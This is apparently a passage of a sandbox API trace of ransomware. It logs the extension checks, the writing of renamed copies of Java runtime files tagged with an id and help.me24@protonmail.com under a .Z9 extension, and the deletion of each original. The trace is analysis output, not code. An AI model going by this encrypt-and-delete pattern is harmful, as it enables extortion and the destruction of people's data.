	[0190.850] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0190.850] lstrlenW (lpString=".bz2") returned 4
	[0190.850] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0190.850] lstrlenW (lpString=".7z") returned 3
	[0190.850] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0190.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0190.850] lstrlenW (lpString=".dbf") returned 4
	[0190.850] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0190.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0190.850] lstrlenW (lpString=".1cd") returned 4
	[0190.850] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0190.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0190.850] lstrlenW (lpString=".jpg") returned 4
	[0190.850] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0190.850] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0190.850] lstrlenW (lpString="sunmscapi.jar") returned 13
	[0190.850] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0190.851] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=32699) returned 1
	[0190.851] CloseHandle (hObject=0x364) returned 1
	[0190.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20
	[0190.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.851] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0190.851] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.851] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.851] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0191.259] GetLastError () returned 0x0
	[0191.259] ReadFile (in: hFile=0x364, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x7fbb, lpOverlapped=0x0) returned 1
	[0191.260] WriteFile (in: hFile=0x388, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x7fc0, lpOverlapped=0x0) returned 1
	[0191.262] ReadFile (in: hFile=0x364, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.262] WriteFile (in: hFile=0x388, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0xee, lpOverlapped=0x0) returned 1
	[0191.264] SetEndOfFile (hFile=0x388) returned 1
	[0191.264] CloseHandle (hObject=0x388) returned 1
	[0191.264] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.264] SetEndOfFile (hFile=0x364) returned 1
	[0191.265] CloseHandle (hObject=0x364) returned 1
	[0191.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0191.265] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1
	[0191.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0191.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0191.436] lstrlenW (lpString=".doc") returned 4
	[0191.436] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0191.436] lstrlenW (lpString=".docx") returned 5
	[0191.436] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1
	[0191.436] lstrlenW (lpString=".pdf") returned 4
	[0191.436] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0191.436] lstrlenW (lpString=".xls") returned 4
	[0191.436] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0191.436] lstrlenW (lpString=".xlsx") returned 5
	[0191.436] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1
	[0191.436] lstrlenW (lpString=".ppt") returned 4
	[0191.436] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0191.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0191.436] lstrlenW (lpString=".zip") returned 4
	[0191.436] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0191.436] lstrlenW (lpString=".rar") returned 4
	[0191.436] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0191.436] lstrlenW (lpString=".bz2") returned 4
	[0191.436] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0191.436] lstrlenW (lpString=".7z") returned 3
	[0191.436] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0191.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0191.436] lstrlenW (lpString=".dbf") returned 4
	[0191.436] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0191.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0191.436] lstrlenW (lpString=".1cd") returned 4
	[0191.436] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0191.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0191.436] lstrlenW (lpString=".jpg") returned 4
	[0191.436] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0191.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0191.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0191.437] lstrlenW (lpString=".doc") returned 4
	[0191.437] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0191.437] lstrlenW (lpString=".docx") returned 5
	[0191.437] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1
	[0191.437] lstrlenW (lpString=".pdf") returned 4
	[0191.437] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0191.437] lstrlenW (lpString=".xls") returned 4
	[0191.437] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0191.437] lstrlenW (lpString=".xlsx") returned 5
	[0191.437] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1
	[0191.437] lstrlenW (lpString=".ppt") returned 4
	[0191.437] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0191.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0191.437] lstrlenW (lpString=".zip") returned 4
	[0191.437] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0191.437] lstrlenW (lpString=".rar") returned 4
	[0191.437] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0191.437] lstrlenW (lpString=".bz2") returned 4
	[0191.437] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0191.437] lstrlenW (lpString=".7z") returned 3
	[0191.437] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0191.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0191.437] lstrlenW (lpString=".dbf") returned 4
	[0191.437] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0191.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0191.437] lstrlenW (lpString=".1cd") returned 4
	[0191.437] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0191.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0191.437] lstrlenW (lpString=".jpg") returned 4
	[0191.437] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0191.438] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0191.438] lstrlenW (lpString="sunpkcs11.jar") returned 13
	[0191.438] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.438] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=251327) returned 1
	[0191.438] CloseHandle (hObject=0x37c) returned 1
	[0191.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20
	[0191.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.438] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.438] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.439] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.439] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0191.599] GetLastError () returned 0x0
	[0191.599] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x3d5bf, lpOverlapped=0x0) returned 1
	[0191.603] WriteFile (in: hFile=0x378, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x3d5c0, lpOverlapped=0x0) returned 1
	[0191.612] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.613] WriteFile (in: hFile=0x378, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0xee, lpOverlapped=0x0) returned 1
	[0191.613] SetEndOfFile (hFile=0x378) returned 1
	[0191.613] CloseHandle (hObject=0x378) returned 1
	[0191.613] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.613] SetEndOfFile (hFile=0x37c) returned 1
	[0191.615] CloseHandle (hObject=0x37c) returned 1
	[0191.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0191.616] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1
	[0191.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0191.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0191.785] lstrlenW (lpString=".doc") returned 4
	[0191.785] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0191.785] lstrlenW (lpString=".docx") returned 5
	[0191.785] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1
	[0191.785] lstrlenW (lpString=".pdf") returned 4
	[0191.785] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0191.785] lstrlenW (lpString=".xls") returned 4
	[0191.785] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0191.786] lstrlenW (lpString=".xlsx") returned 5
	[0191.786] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1
	[0191.786] lstrlenW (lpString=".ppt") returned 4
	[0191.786] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0191.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0191.786] lstrlenW (lpString=".zip") returned 4
	[0191.786] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0191.786] lstrlenW (lpString=".rar") returned 4
	[0191.786] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0191.786] lstrlenW (lpString=".bz2") returned 4
	[0191.786] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0191.786] lstrlenW (lpString=".7z") returned 3
	[0191.786] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0191.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0191.786] lstrlenW (lpString=".dbf") returned 4
	[0191.786] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0191.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0191.786] lstrlenW (lpString=".1cd") returned 4
	[0191.786] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0191.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0191.786] lstrlenW (lpString=".jpg") returned 4
	[0191.786] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0191.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0191.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0191.786] lstrlenW (lpString=".doc") returned 4
	[0191.786] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0191.786] lstrlenW (lpString=".docx") returned 5
	[0191.786] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1
	[0191.786] lstrlenW (lpString=".pdf") returned 4
	[0191.786] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0191.786] lstrlenW (lpString=".xls") returned 4
	[0191.786] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0191.786] lstrlenW (lpString=".xlsx") returned 5
	[0191.786] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1
	[0191.787] lstrlenW (lpString=".ppt") returned 4
	[0191.787] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0191.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0191.787] lstrlenW (lpString=".zip") returned 4
	[0191.787] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0191.787] lstrlenW (lpString=".rar") returned 4
	[0191.787] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0191.787] lstrlenW (lpString=".bz2") returned 4
	[0191.787] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0191.787] lstrlenW (lpString=".7z") returned 3
	[0191.787] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0191.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0191.787] lstrlenW (lpString=".dbf") returned 4
	[0191.787] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0191.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0191.787] lstrlenW (lpString=".1cd") returned 4
	[0191.787] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0191.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0191.787] lstrlenW (lpString=".jpg") returned 4
	[0191.787] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0191.787] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0191.787] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26
	[0191.787] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0191.788] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=75124) returned 1
	[0191.788] CloseHandle (hObject=0x344) returned 1
	[0191.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20
	[0191.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.788] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0191.788] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.788] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.788] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0191.789] GetLastError () returned 0x0
	[0191.789] ReadFile (in: hFile=0x344, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x12574, lpOverlapped=0x0) returned 1
	[0191.790] WriteFile (in: hFile=0x388, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x12580, lpOverlapped=0x0) returned 1
	[0191.792] ReadFile (in: hFile=0x344, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.792] WriteFile (in: hFile=0x388, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x108, lpOverlapped=0x0) returned 1
	[0191.793] SetEndOfFile (hFile=0x388) returned 1
	[0191.793] CloseHandle (hObject=0x388) returned 1
	[0191.793] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.793] SetEndOfFile (hFile=0x344) returned 1
	[0191.794] CloseHandle (hObject=0x344) returned 1
	[0191.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0191.794] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1
	[0191.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0191.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0191.795] lstrlenW (lpString=".doc") returned 4
	[0191.795] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0191.795] lstrlenW (lpString=".docx") returned 5
	[0191.795] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0191.795] lstrlenW (lpString=".pdf") returned 4
	[0191.795] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0191.795] lstrlenW (lpString=".xls") returned 4
	[0191.795] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0191.795] lstrlenW (lpString=".xlsx") returned 5
	[0191.795] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0191.795] lstrlenW (lpString=".ppt") returned 4
	[0191.795] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0191.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0191.795] lstrlenW (lpString=".zip") returned 4
	[0191.795] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0191.795] lstrlenW (lpString=".rar") returned 4
	[0191.795] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0191.795] lstrlenW (lpString=".bz2") returned 4
	[0191.795] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0191.795] lstrlenW (lpString=".7z") returned 3
	[0191.795] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0191.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0191.795] lstrlenW (lpString=".dbf") returned 4
	[0191.795] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0191.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0191.795] lstrlenW (lpString=".1cd") returned 4
	[0191.795] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0191.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0191.796] lstrlenW (lpString=".jpg") returned 4
	[0191.796] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0191.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0191.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0191.796] lstrlenW (lpString=".doc") returned 4
	[0191.796] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0191.796] lstrlenW (lpString=".docx") returned 5
	[0191.796] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0191.796] lstrlenW (lpString=".pdf") returned 4
	[0191.796] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0191.796] lstrlenW (lpString=".xls") returned 4
	[0191.796] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0191.796] lstrlenW (lpString=".xlsx") returned 5
	[0191.796] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0191.796] lstrlenW (lpString=".ppt") returned 4
	[0191.796] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0191.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0191.796] lstrlenW (lpString=".zip") returned 4
	[0191.796] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0191.796] lstrlenW (lpString=".rar") returned 4
	[0191.796] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
